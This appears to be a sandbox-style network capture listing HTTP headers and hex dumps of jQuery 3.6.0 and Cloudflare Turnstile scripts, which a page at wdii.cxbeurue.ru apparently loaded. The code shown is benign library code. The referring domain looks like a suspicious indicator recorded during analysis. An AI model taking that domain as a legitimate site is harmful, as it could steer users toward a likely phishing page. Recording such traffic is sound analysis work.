2024-12-11 20:03:23 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 11 Dec 2024 20:03:23 GMT Age: 2468936 X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890059-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 1 X-Timer: S1733947403.325831,VS0,VE1 Vary: Accept-Encoding
2024-12-11 20:03:23 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-11 20:03:23 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-11 20:03:23 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-11 20:03:23 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-11 20:03:23 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-11 20:03:23 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:23 UTC	648	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wdii.cxbeurue.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:23 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 11 Dec 2024 20:03:23 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8f0813e6cc29439f-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:25 UTC	647	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wdii.cxbeurue.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:25 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f0813f41ffc439f-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:25 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-11 20:03:25 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:27 UTC	383	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:27 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:27 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f0814014a1b8c21-EWR alt-svc: h3=":443"; ma=86400
